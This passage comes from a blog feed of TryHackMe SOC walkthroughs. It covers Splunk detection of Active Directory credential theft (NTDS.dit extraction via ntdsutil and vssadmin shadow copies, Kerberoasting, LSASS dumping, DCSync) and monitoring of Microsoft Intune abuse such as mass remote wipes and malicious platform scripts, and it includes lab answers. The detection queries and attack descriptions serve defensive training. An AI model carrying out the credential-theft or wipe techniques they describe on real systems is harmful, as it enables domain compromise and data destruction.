<li><p><code>vssadmin.exe</code> with a command line containing <code>create shadow</code></p>
</li>
</ul>
<p><strong>Sysmon Event 11 (File Creation)</strong> captures when <code>ntds.dit</code> is written to an unusual location by <code>ntdsutil.exe</code>. The <a href="https://car.mitre.org/analytics/CAR-2019-08-002/">MITRE CAR-2019-08-002(opens in new tab)</a> analytic specifically targets this artifact.</p>
<h2><strong>Walkthrough 1: Investigating ntdsutil Malicious Use</strong></h2>
<p>Follow along in the Splunk instance, and use <code>index=task6</code> for all queries in this task.</p>
<p>We start by looking for <code>ntdsutil.exe</code> execution because the IFM subcommand is the most common extraction method, and Sysmon Event 1 captures the full command line:</p>
<pre><code class="language-sql">index=task6 EventCode=1 Image="*\ntdsutil.exe"
| table _time, host, User, ParentImage, Image, CommandLine
</code></pre>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773876229604" alt="Splunk output showing ntdsutil.exe process creation with the IFM command line" style="display:block;margin:0 auto" />

<p>The <code>CommandLine</code> field shows the full ntdsutil command used. The <code>ParentImage</code> tells us how ntdsutil was launched.</p>
<p>Now let's check if the extraction produced the expected file:</p>
<pre><code class="language-sql">index=task6 EventCode=11 TargetFilename="*ntds.dit" Image="*\\ntdsutil.exe"
| table _time, Image, TargetFilename
</code></pre>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773876230295" alt="Splunk Sysmon Event 11 showing ntds.dit file creation on disk" style="display:block;margin:0 auto" />

<p>If this returns a result, the NTDS.dit file was successfully written to disk. The <code>TargetFilename</code> shows where the attacker saved it.</p>
<h2><strong>Walkthrough 2: Investigating vssadmin Shadow Copy</strong></h2>
<p>The second extraction method uses <code>vssadmin</code> to create a volume shadow copy, then copies <code>ntds.dit</code> and the <code>SYSTEM</code> hive from the snapshot.</p>
<p>Let's search for the shadow copy creation:</p>
<pre><code class="language-sql">index=task6 EventCode=1 Image="*\vssadmin.exe" CommandLine="*create shadow*"
  | table _time, host, User, ParentImage, Image, CommandLine
</code></pre>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773876230915" alt="Splunk output showing vssadmin.exe creating a volume shadow copy" style="display:block;margin:0 auto" />

<p>The <code>CommandLine</code> confirms a shadow copy was created. Creating a shadow copy alone has legitimate uses (backups, system restore), so this event by itself doesn't confirm credential theft. What confirms it is what happens next.</p>
<p>Let's look for copy commands that target sensitive files from the shadow copy path:</p>
<pre><code class="language-plaintext">index=task6 EventCode=1 CommandLine="*HarddiskVolumeShadowCopy*" (CommandLine="*ntds*" OR CommandLine="*SYSTEM*")
| table _time, host, User, ParentImage, Image, CommandLine
</code></pre>
<p>Let's look for copy commands that target sensitive files from the shadow copy path:</p>
<pre><code class="language-sql">index=task6 EventCode=1 CommandLine="*HarddiskVolumeShadowCopy*" (CommandLine="*ntds*" OR CommandLine="*SYSTEM*")
| table _time, host, User, ParentImage, Image, CommandLine
</code></pre>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773876231599" alt="Splunk output showing copy commands extracting ntds.dit and the SYSTEM hive from the shadow copy" style="display:block;margin:0 auto" />

<p>The <code>CommandLine</code> field reveals the full source and destination paths the attacker used. Both files together give the attacker everything needed to extract every credential in the domain offline.</p>
<h2><strong>DCSync vs NTDS.dit Extraction</strong></h2>
<table>
<thead>
<tr>
<th><strong>Attribute</strong></th>
<th><strong>DCSync</strong></th>
<th><strong>NTDS.dit Extraction</strong></th>
</tr>
</thead>
<tbody><tr>
<td>Method</td>
<td>Remote replication via DRSUAPI</td>
<td>Local file copy via shadow copy or IFM</td>
</tr>
<tr>
<td>Access needed</td>
<td>Replication rights (DA by default)</td>
<td>Local admin on the DC</td>
</tr>
<tr>
<td>Log source</td>
<td>Event 4662 (Directory Service Access)</td>
<td>Sysmon Event 1 (Process Creation), Event 11 (File Creation)</td>
</tr>
<tr>
<td>Network visibility</td>
<td>Replication traffic from a non-DC IP</td>
<td>No network artifacts (local operation)</td>
</tr>
<tr>
<td>Noise level</td>
<td>Low (blends with normal replication)</td>
<td>High (shadow copy creation, file writes)</td>
</tr>
</tbody></table>
<p>The diagram below visualizes these differences:</p>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1774041816335" alt="DCSync versus NTDS.dit extraction: remote and stealthy versus local and noisy, with different log sources for each" style="display:block;margin:0 auto" />

<p><strong>On the Splunk instance, investigate the NTDS.dit extraction activity.</strong></p>
<h3>Answer the questions below</h3>
<p>What is the full command line used to extract NTDS.dit? (Answer Format: full command line as shown in Splunk)</p>
<pre><code class="language-shell">index=task6 EventCode=1 Image="*\ntdsutil.exe" 
| table _time, host, User, ParentImage, Image, CommandLine
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/ae1fd827-4cc5-4a7a-8754-e53bc862b793.png" alt="" style="display:block;margin:0 auto" />

<p>What is the full shadow copy path the attacker copied ntds.dit from? (Answer Format: full path as shown in the CommandLine)</p>
<pre><code class="language-shell">index=task6 THM-DC ntds.dit User="tryhatmestudios\adm-luke.sullivan"
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/162067b6-3cac-40c4-a248-1893d0599744.png" alt="" style="display:block;margin:0 auto" />

<p>Where did the attacker stage the files copied from the shadow copy? (Answer Format: directory path) <code>C:\Windows\Temp</code></p>
<h2>Investigation Challenge</h2>
<p>A detection rule triggered on your SIEM for a burst of TGS requests with RC4 encryption from a single source within a 60-second window. The requests targeted multiple service accounts across different departments, and the source IP doesn't belong to any known service or scheduled task. Investigate whether this is a legitimate application or an active intrusion, and determine how far the attacker got.</p>
<p>This challenge uses a separate dataset from the guided tasks. Use <code>index=task7</code> for all queries in this task.</p>
<h3>Answer the questions below</h3>
<p>Which account was targeted by AS-REP Roasting?</p>
<pre><code class="language-shell">index=task7 Pre_Authentication_Type=0
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/36c502ab-deec-4424-8937-4a8f5ae3000d.png" alt="" style="display:block;margin:0 auto" />

<p>What account performed the Kerberoasting? (Answer Format: username only, without @domain)</p>
<pre><code class="language-shell">index=task7 EventCode=4769 Ticket_Encryption_Type=0x17 Service_Name!="*$" Service_Name!="krbtgt"
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/4b58d989-6110-4855-883b-4f6ce30c9c47.png" alt="" style="display:block;margin:0 auto" />

<p>What process accessed LSASS on the workstation?</p>
<pre><code class="language-shell">index=task7 lsass
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/00a02305-efe1-43c6-b21d-8e65e7364d07.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-shell">index=task7 EventCode=10 TargetImage="*\lsass.exe" dll calltrace 0x1FFFFF
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/ccf5cfac-7af9-40c1-ae9d-cc45654a48b7.png" alt="" style="display:block;margin:0 auto" />

<p>What <code>GrantedAccess</code> value was used for the LSASS dump? (Answer Format: 0xNNNNNN) <code>0x1FFFFF</code></p>
<p>What account performed the DCSync attack?</p>
<pre><code class="language-shell">index=task7 0x1FFFFF
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/dddd5465-d055-4ea6-9ff6-c443dfe881f0.png" alt="" style="display:block;margin:0 auto" />

<h2>Conclusion</h2>
<p>This room covered five credential attack techniques that bridge an attacker's initial foothold to full domain compromise, each detected through a different log source and event type.</p>
<h2><strong>Takeaways</strong></h2>
<table>
<thead>
<tr>
<th><strong>Technique</strong></th>
<th><strong>Event ID</strong></th>
<th><strong>Detection Signal</strong></th>
<th><strong>Log Source</strong></th>
<th><strong>Privilege Required</strong></th>
</tr>
</thead>
<tbody><tr>
<td>Kerberoasting</td>
<td>Security 4769</td>
<td>Ticket_Encryption_Type=0x17, multiple SPNs from one account</td>
<td>DC Security Log</td>
<td>Any domain user</td>
</tr>
<tr>
<td>AS-REP Roasting</td>
<td>Security 4768</td>
<td>Pre_Authentication_Type=0, no follow-up authentication</td>
<td>DC Security Log</td>
<td>None (just a username)</td>
</tr>
<tr>
<td>LSASS Dumping</td>
<td>Sysmon 10</td>
<td>TargetImage=lsass.exe, suspicious GrantedAccess and CallTrace</td>
<td>Endpoint Sysmon</td>
<td>Local admin</td>
</tr>
<tr>
<td>DCSync</td>
<td>Security 4662</td>
<td>Access_Mask=0x100, replication GUIDs, non-machine account</td>
<td>DC Security Log</td>
<td>Domain Admin (replication rights)</td>
</tr>
<tr>
<td>NTDS.dit Extraction</td>
<td>Sysmon 1, 11</td>
<td>ntdsutil.exe or vssadmin.exe with IFM/shadow copy arguments</td>
<td>DC Sysmon</td>
<td>Local admin on DC</td>
</tr>
</tbody></table>
<ul>
<li><p>Each technique in the escalation chain uses a different log source. Kerberos attacks show up on the DC Security log, LSASS dumping requires Sysmon on endpoints, and DCSync needs Directory Service Access auditing on the DC.</p>
</li>
<li><p>The events themselves aren't rare. What makes them suspicious is context: RC4 in an AES environment, a non-DC account performing replication, or a high-privilege access mask on LSASS from an unexpected process.</p>
</li>
<li><p>Logging must be configured before the attack happens. DCSync is invisible without SACLs on the domain partition, and LSASS access is invisible without Sysmon ProcessAccess rules.</p>
</li>
<li><p>Attackers use credentials from these techniques for lateral movement (Pass-the-Hash, Pass-the-Ticket), which are separate detection challenges with their own log artifacts.</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Microsoft Intune Monitoring (TryHackMe)]]></title><description><![CDATA[Introduction
Microsoft Intune is one of the most widely used Mobile Device Management (MDM) platforms in the enterprise. It is a powerful tool in the hands of IT and security teams, but it can also be]]></description><link>https://www.sharonjebitok.com/microsoft-intune-monitoring-tryhackme</link><guid isPermaLink="true">https://www.sharonjebitok.com/microsoft-intune-monitoring-tryhackme</guid><category><![CDATA[microsoft-intune-monitoring]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[SOC]]></category><category><![CDATA[m365]]></category><category><![CDATA[Entra ID]]></category><category><![CDATA[Microsoft]]></category><dc:creator><![CDATA[Jebitok]]></dc:creator><pubDate>Wed, 25 Mar 2026 08:24:17 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/7370d1e0-59a4-4756-887a-c33ccd8d04ea.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Introduction</h2>
<p>Microsoft Intune is one of the most widely used Mobile Device Management (MDM) platforms in the enterprise. It is a powerful tool in the hands of IT and security teams, but it can also become a weapon for attackers, as proven by the recent wiper attack on Stryker. In this room, you will explore how Intune can be abused, how to harden it against attack, and how to monitor it effectively in a SOC.</p>
<h2><strong>Learning Objectives</strong></h2>
<ul>
<li><p>Learn Microsoft Intune features and applications</p>
</li>
<li><p>Discover the use of Intune by SOC and security teams</p>
</li>
<li><p>Explore how Intune is exploited based on a Stryker incident</p>
</li>
<li><p>Practice monitoring Intune from Splunk and the host perspective</p>
</li>
</ul>
<h2><strong>Prerequisites</strong></h2>
<ul>
<li><p><a href="https://tryhackme.com/room/m365monitoringbasics">M365 Monitoring Basics</a></p>
</li>
<li><p><a href="https://tryhackme.com/room/entraidmonitoring">Entra ID Monitoring</a></p>
</li>
</ul>
<h2>What Is Microsoft Intune</h2>
<h2><strong>Overview</strong></h2>
<p>Microsoft Intune is a cloud-based Mobile Device Management platform (MDM). It lets your organization audit how Windows, Linux, MacOS, and mobile devices are used across your environment and remotely control their password policy, disk encryption, OS settings, application allowlist, and much more. Other popular MDM vendors you might have heard of are Jamf, JumpCloud, Atera, and Manage Engine.</p>
<h2><strong>How Intune Works</strong></h2>
<p>First, you need to enroll devices into Microsoft Intune, either manually via physical device access or remotely. Luckily, most OS support remote enrollment through the built-in OS capabilities, such as ADE in MacOS and Google Play services in Android. On Windows, that's even simpler. All you need to enroll is to log in to your device with your corporate email (<strong>1</strong>) and see your device in the Entra ID console (<strong>2</strong>). MDM will be deployed automatically:</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1773848388029.png" alt="Microsoft Entra ID Devices panel showing a Windows desktop enrolled in MDM via Microsoft Intune, with the &quot;Access work or school&quot; account settings screen below." style="display:block;margin:0 auto" />

<p>Next, the MDM agent is being deployed. Marketing-wise, Intune is agentless and doesn't need you to install MSI or PKG packages on every device. But process-wise, it's always some kind of an agent that is automatically installed in the background on your behalf. Very similar to EDR, MDM agents will connect to the central console and listen for instructions.</p>
<h2><strong>Intune Capabilities</strong></h2>
<p>Intune has a broad range of features, especially for Windows and MacOS:</p>
<ul>
<li><p>Build an asset inventory of all corporate devices</p>
</li>
<li><p>Push configuration policies to devices remotely</p>
</li>
<li><p>Deploy and manage applications across your fleet</p>
</li>
<li><p>Wipe devices in case of malware infection or physical theft</p>
</li>
<li><p>Enforce compliance rules (e.g. require encryption or OS update)</p>
</li>
<li><p>Integrate with Microsoft Entra ID (formerly Azure Active Directory)</p>
</li>
</ul>
<h2><strong>Why It Matters to You</strong></h2>
<p>As a SOC L2 analyst, you will encounter Intune in many scenarios:</p>
<ul>
<li><p>As an asset inventory database to get more information about the device</p>
</li>
<li><p>To quickly patch or uninstall software during major supply chain incidents</p>
</li>
<li><p>To apply policies, run security checks, or bulk-install EDR/SIEM agents</p>
</li>
<li><p>To isolate devices from the network or reimage the OS in case of theft</p>
</li>
</ul>
<h3>Answer the questions below</h3>
<p>Is Intune a cloud-based or self-hosted MDM solution? <code>Cloud-based</code></p>
<p>What identity platform does Intune closely integrate with? <code>Entra ID</code></p>
<h2>Intune for Security Teams</h2>
<h2><strong>Intune Portal</strong></h2>
<p>You can organize the onboarded devices into groups and manage them from the Intune cloud console (<a href="https://intune.microsoft.com/)(opens">https://intune.microsoft.com/)(opens</a> <a href="https://intune.microsoft.com/)">in new tab)</a>. From there, you can define policies, deploy scripts, install apps, configure auto-enrollment, and much more. Note that the Intune license is currently included in Microsoft 365 E3 and E5 subscriptions, which means you may use Intune at no additional cost if your enterprise already manages users in Entra ID.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1773855243205.png" alt="Microsoft Intune portal showing a Windows device marked as compliant, managed by Intune under the Windows devices section." style="display:block;margin:0 auto" />

<h2><strong>Device Management</strong></h2>
<p>As a SOC analyst, you are unlikely to apply settings in Intune yourself, but you should know that most OS configurations can be applied remotely via Intune. For example, the <strong>Devices &gt; Configuration</strong> feature allows you to apply security best practices, such as disabling RDP on regular user workstations or enabling Logon/Logoff auditing across all endpoints:</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1773855241766.png" alt="Intune &quot;Create profile&quot; configuration settings showing RDP connections disabled via Administrative Templates and Logon/Logoff auditing set to Success+Failure." style="display:block;margin:0 auto" />

<h2><strong>Device Compliance</strong></h2>
<p>Intune also supports labeling assets as compliant/non-compliant and even restricting access to cloud resources via two features: <strong>Compliance</strong> and <strong>Conditional Access</strong>. This feature is extremely useful for securing critical apps, such as the mailbox and SharePoint. Imagine a practical use case where your goal is to ensure only known and hardened devices can access corporate M365.</p>
<ul>
<li><p>First, you start by creating an Intune compliance policy</p>
</li>
<li><p>The policy labels enrolled devices as non-compliant if:</p>
<ul>
<li><p>BitLocker encryption is not enabled</p>
</li>
<li><p>MS Defender EDR is not installed</p>
</li>
<li><p>User password isn't strong enough</p>
</li>
</ul>
</li>
</ul>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1773856844317.png" alt="Intune Windows 10/11 compliance policy showing Device Health settings with BitLocker set to &quot;Require&quot; and Secure Boot set to &quot;Not configured.&quot;" style="display:block;margin:0 auto" />

<ul>
<li><p>Then, you create a Conditional Access policy for all or selected users</p>
</li>
<li><p>The policy will <strong>block</strong> access to M365 if the user is trying to log in from:</p>
<ul>
<li><p>An unknown device (not enrolled into Entra ID or Intune MDM)</p>
</li>
<li><p>Or a non-compliant device (according to the conditions we defined)</p>
</li>
</ul>
</li>
</ul>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1773856843842.svg" alt="Entra Conditional Access policy configured to block M365 access from non-compliant devices, with a device filter set to include matching devices in the policy." style="display:block;margin:0 auto" />

<h2><strong>Device Context and SIEM</strong></h2>
<p>Whenever a user logs in to a cloud app via Entra ID, Microsoft includes the device details in its audit logs. This is a huge benefit for SOC, since you will know whether the user used an unmanaged device (<strong>deviceDetail</strong> will be empty), a device joined to Entra ID (<strong>trustType</strong> subfield), or a trusted device, managed by Intune (<strong>isCompliant</strong> and <strong>isManaged</strong> subfields).</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1773862809829.png" alt="Splunk search query filtering Entra ID sign-in logs by device display name, returning 2 login events from the authenticated device." style="display:block;margin:0 auto" />

<p>*9 out of 10 M365 attacks originate from unmanaged devices (the deviceDetail field is empty)<br />An attack from a managed device typically indicates an insider threat or that the device is infected/stolen<br />*</p>
<h3>Answer the questions below</h3>
<p>What Entra ID and Intune feature controls access based on conditions? <code>Conditional Access</code></p>
<p>Which log field in SIEM shows if the device is managed or not? <code>deviceDetail</code></p>
<h2>Intune Risks: Remote Wipe</h2>
<h2><strong>Wiper Attack on Stryker</strong></h2>
<p>In the wrong hands, the Intune console can become a fully-featured Command &amp; Control server, or a weapon for mass destruction of corporate data. On March 11, 2026, the threat actors <a href="https://www.bleepingcomputer.com/news/security/stryker-attack-wiped-tens-of-thousands-of-devices-no-malware-needed/">allegedly compromised(opens in new tab)</a> an administrative M365 account of Stryker, a US-based medtech giant, and issued a remote wipe Intune command across nearly 80,000 enrolled devices. Within hours, data was erased, causing a major disruption to Stryker's operations. How was this possible?</p>
<p><strong>Intune Bulk Device Actions</strong></p>
<p>Intune supports bulk actions across enrolled devices: restart, rename, and wipe, among them. With administrative access to the Intune console, any user can issue a wipe command against the selected devices, across all platforms except Linux. The moment the agent receives the command, it immediately resets the device to factory settings, erasing local data. This exact functionality was weaponized to destroy data across nearly 80,000 devices.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1773866275644.png" alt="Microsoft Intune admin center &quot;Bulk device action&quot; screen with one Windows device selected, illustrating how a factory reset could be remotely triggered across multiple devices." style="display:block;margin:0 auto" />

<p><em>Devices &gt; Bulk device action &gt; Wipe</em></p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1773858132728.png" alt="Windows screen showing the &quot;Resetting this PC&quot; message after being wiped via Intune." style="display:block;margin:0 auto" />

<p><em>The state of the target laptop after around 1 minute</em></p>
<h2><strong>Monitoring Remote Wipes</strong></h2>
<p>First of all, remember that there is no sense in building SIEM rules like "Mass Device Wipe via Intune", because by the time your SOC triages the alert, the wipe will already finish (there is no documented way of aborting the Intune command). Still, let's see a timeline of events leading to wiper attacks:</p>
<p><strong>Intune Login</strong></p>
<p>The first stage is to detect logins to the Intune portal. At a minimum, you should alert on logins of Intune administrators from unmanaged devices, suspicious IPs, or outside of working hours. Regular Entra ID sign-in logs record every Intune login with <strong>appDisplayName</strong> set to "<strong>Microsoft Intune portal extension</strong>".</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1773866140805.png" alt="Splunk statistics table of Entra ID sign-in events showing a user accessing the Microsoft Intune portal extension from an unmanaged, non-compliant device, highlighted as suspicious." style="display:block;margin:0 auto" />

<p>An advanced adversary can also use Intune via Graph API instead of a web browser. You can detect it whenever someone consents to the app with <strong>DeviceManagementManagedDevices.</strong>* or <strong>DeviceManagementConfiguration.</strong>* OAuth permissions (<a href="https://cloud.google.com/blog/topics/threat-intelligence/abusing-intune-permissions-entra-id-environments">Mandiant example(opens in new tab)</a>). But for this room, let's focus on the more common attack path, Intune access via a web browser. You can use the query below to list all Intune console logins from unmanaged devices:</p>
<p>Splunk <strong>query to detect Intune logins from unmanaged devices</strong></p>
<pre><code class="language-shell">index=intune sourcetype=azure:aad:signin appDisplayName=Intune deviceDetail.displayName="" 
| rename deviceDetail.* as dvc.* 
| table _time appDisplayName ipAddress dvc.isManaged dvc.isCompliant dvc.displayName user
</code></pre>
<p><strong>Wipe Command</strong></p>
<p>Unfortunately, the next and final point where you can catch Intune abuse is already the remote wipe. Whenever a user initiates a remote command, you see the corresponding logs in <strong>Tenant admin</strong> &gt; <strong>Audit logs</strong> Intune panel in real time. Note that, unlike in Entra ID and M365, you can't ingest Intune logs directly into SIEM. You'd need to use the Graph API or route the logs through Azure Event Hub (<a href="https://learn.microsoft.com/en-us/intune/intune-service/fundamentals/monitor-audit-logs">Documentation(opens in new tab)</a>).</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1773866140825.png" alt="Intune Tenant Admin audit logs showing a successful &quot;wipe ManagedDevice&quot; action initiated via the Microsoft Intune portal extension, with full activity details including actor UPN and correlation ID." style="display:block;margin:0 auto" />

<p>Every log record contains the actor and the activity type. For wipe events, the <strong>activityType</strong> field is <strong>wipe ManagedDevice</strong>. You won't see the name of the wiped host, but you will see its device ID. This field can then be correlated with other historical events, such as <strong>Add device</strong> within Entra ID audit logs, to identify the hostname, hardware ID, and OS version of the wiped device.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1773866142613.png" alt="Splunk query of Intune Graph API logs showing a single &quot;wipe ManagedDevice&quot; event triggered by a suspicious user account, with the affected device ID extracted for further investigation." style="display:block;margin:0 auto" />

<table>
<thead>
<tr>
<th><strong>Splunk query to detect remote wiper (Note that the sourcetype is custom)</strong></th>
</tr>
</thead>
<tbody><tr>
<td></td>
</tr>
</tbody></table>
<pre><code class="language-c">index=intune sourcetype="o365:graph:intune" wipe
| eval deviceid=mvindex('resources{}.modifiedProperties{}.newValue', 0)
| table _time activityType actor.userPrincipalName deviceid
</code></pre>
<h2><strong>Practice</strong></h2>
<p>In this task, you will investigate a remote wipe of a Windows device in Splunk.<br />Search for <strong>All Time</strong> and start from the <code>index=intune</code> SPL query.</p>
<h3>Answer the questions below</h3>
<p>What is the device ID of the wiped device?</p>
<pre><code class="language-shell">index=intune wipe
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/4cbdad88-3c16-4ed7-a471-b67fecf7bac0.png" alt="" style="display:block;margin:0 auto" />

<p>What is the hostname of the wiped Windows device?</p>
<pre><code class="language-shell">index=intune d66b71f3-a644-4392-89b2-d97ba5612356
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/35bcf61a-3350-4c29-9f20-7278c94010e9.png" alt="" style="display:block;margin:0 auto" />

<p>From which IP did the admin perform the remote wipe?</p>
<pre><code class="language-shell">index=intune steven.mills@tryhackme.thm
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/3e7c948b-ed35-441f-860e-c80d3f512b59.png" alt="" style="display:block;margin:0 auto" />

<h2>Intune Risks: Apps &amp; Scripts</h2>
<h2><strong>Intune Platform Scripts</strong></h2>
<p>Remote wipe is not the only weapon available to an attacker with Intune access. The platform also allows administrators to deploy custom scripts (<strong>Platform scripts</strong>), such as PowerShell, and execute them under the context of the logged-in user or the local SYSTEM account. The Platform scripts feature lets IT administrators push one-time commands in bulk, useful for tasks that aren't covered by built-in templates and configuration policies:</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1773878042128.png" alt="Intune Windows &quot;Scripts and remediations&quot; panel showing one assigned PowerShell platform script named &quot;ad-dns-fix&quot;." style="display:block;margin:0 auto" />

<p>The Platform scripts feature might also be interesting for threat actors, as it is easy to write a PowerShell data stealer or deploy it on all devices. Check out <a href="https://sansorg.egnyte.com/dl/6crjWkYYJcdx">this(opens in new tab)</a> SANS presentation for a deep dive and a real-world attack example. Also, note that there are <strong>no safeguards</strong> against malicious commands and <strong>no email notification</strong> to the IT team, so vigilant log monitoring is the way to go!</p>
<p><strong>SIEM Artifacts</strong></p>
<p>Script lifecycle consists of four stages: Script is <strong>created</strong> in the Intune console, <strong>assigned</strong> to the selected devices, <strong>executed</strong> on the devices (not logged), and <strong>deleted</strong> from Intune by IT at some point. You can see these stages in SIEM by starting from this query: <code>activityType=*DeviceManagementScript*</code>.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1773878042135.png" alt="Splunk query of Intune logs showing a user creating, assigning, and deleting a PowerShell device management script across multiple target devices." style="display:block;margin:0 auto" />

<p>The image above shows that some script was deleted, another one was created instead, and then assigned to two targets. Note that some target IDs are unique to your environment (e.g. group ID or host ID), while others are well-known. For example, <code>adadadad-808e-44e2-905a-0b7873a8a531</code> ID means <code>All Devices</code>. You can always try googling or retrohunting the IDs to find the readable name of the targets.</p>
<table>
<thead>
<tr>
<th><strong>Splunk query to detect platform scripts (Note that the sourcetype is custom)</strong></th>
</tr>
</thead>
<tbody><tr>
<td></td>
</tr>
</tbody></table>
<pre><code class="language-c">index=intune sourcetype="o365:graph:intune" activityType=*DeviceManagementScript*
| eval action=mvindex(split(activityType, " "), 0)
| eval script='resources{}.resourceId'
| eval target=mvindex('resources{}.modifiedProperties{}.newValue', 0)
| eval target=if(action="assignDeviceManagementScript", target, "N/A")
| table _time actor.userPrincipalName action script target
</code></pre>
<p><strong>Host Artifacts</strong></p>
<p>As mentioned in Task 2, all MDMs are agent-based, regardless of how the marketing frames it. On Windows, Intune executes Platform Scripts through a process tree below, which can be monitored via Security event 4688, or better, Sysmon event 1. You will see a similar chain on Linux and macOS, just with platform-specific process images instead of the Windows ones:</p>
<p>Process Tree: Intune Platform Script</p>
<pre><code class="language-shell-session">C:\Program Files (x86)\Microsoft Intune Management Extension\Microsoft.Management.Services.IntuneWindowsAgent.exe
└── C:\Program Files (x86)\Microsoft Intune Management Extension\AgentExecutor.exe
    └── ...\powershell.exe" -NoProfile -executionPolicy bypass -file `
        "C:\Program Files (x86)\Microsoft Intune Management Extension\Policies\Scripts\&lt;random-uuid&gt;.ps1
</code></pre>
<p>After execution, the script is automatically removed from the staging directory, but traces remain in debug logs. Execution output and metadata are written to the local Intune logfile, specifically <strong>AgentExecutor.log</strong> under <strong>C:\ProgramData\Microsoft\IntuneManagementExtension\Logs</strong>. From a forensic standpoint, this file is extremely valuable, as it captures:</p>
<p>After execution, the script is automatically removed from the staging directory, but traces remain in debug logs. Execution output and metadata are written to the local Intune logfile, specifically <strong>AgentExecutor.log</strong> under <strong>C:\ProgramData\Microsoft\IntuneManagementExtension\Logs</strong>. From a forensic standpoint, this file is extremely valuable, as it captures:</p>
<table style="min-width:50px"><colgroup><col style="min-width:25px"></col><col style="min-width:25px"></col></colgroup><tbody><tr><td><p>Time of the script execution</p></td><td><p>In my attempts, the delay between script creation and execution was approx. 30 minutes.</p></td></tr><tr><td><p>Duration of the script run</p></td><td><p>You will see separate events once the script is deployed, starts, and finishes execution.</p></td></tr><tr><td><p>Plaintext output or error</p></td><td><p>See the screenshot below; there was no error in the script, and the output is "SECRET"</p></td></tr></tbody></table>

<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1773878042203.png" alt="Raw content of the Intune AgentExecutor.log file." style="display:block;margin:0 auto" />

<h2><strong>Intune App Deployment</strong></h2>
<p>A more advanced attack scenario would be to package malware inside an app and compile it into the <strong>.intunewin</strong> format using a <a href="https://github.com/Microsoft/Microsoft-Win32-Content-Prep-Tool">Microsoft tool(opens in new tab)</a>, or classic <strong>.dmg</strong>/<strong>.pkg</strong> for MacOS. Intune can then be used to deploy the compiled application on the selected devices with the highest privileges, even if the app isn't signed by a trusted authority. For threat actors, this opens a whole range of possibilities: from ransomware and cryptocurrency miner deployment to data exfiltration at scale. </p>
<table>
<thead>
<tr>
<th><strong>Splunk query to detect application events (Note that the sourcetype is custom)</strong></th>
</tr>
</thead>
<tbody><tr>
<td></td>
</tr>
</tbody></table>
<pre><code class="language-c">index=intune sourcetype="o365:graph:intune" activityType=*MobileApp*
</code></pre>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/678ecc92c80aa206339f0f23/room-content/678ecc92c80aa206339f0f23-1773849376091.png" alt="Intune &quot;Add App&quot; Win32 app Assignments tab showing the app required and assigned to all devices." style="display:block;margin:0 auto" />

<h2><strong>Practice</strong></h2>
<p>In this task, you will investigate a script deployment on PC-096.<br />Search for <strong>All Time</strong> and start from the <code>index=intune</code> SPL query.</p>
<h3>Answer the questions below</h3>
<p>What is the ID (resourceId) of the deleted Intune script?</p>
<pre><code class="language-shell">index=intune delete
</code></pre>
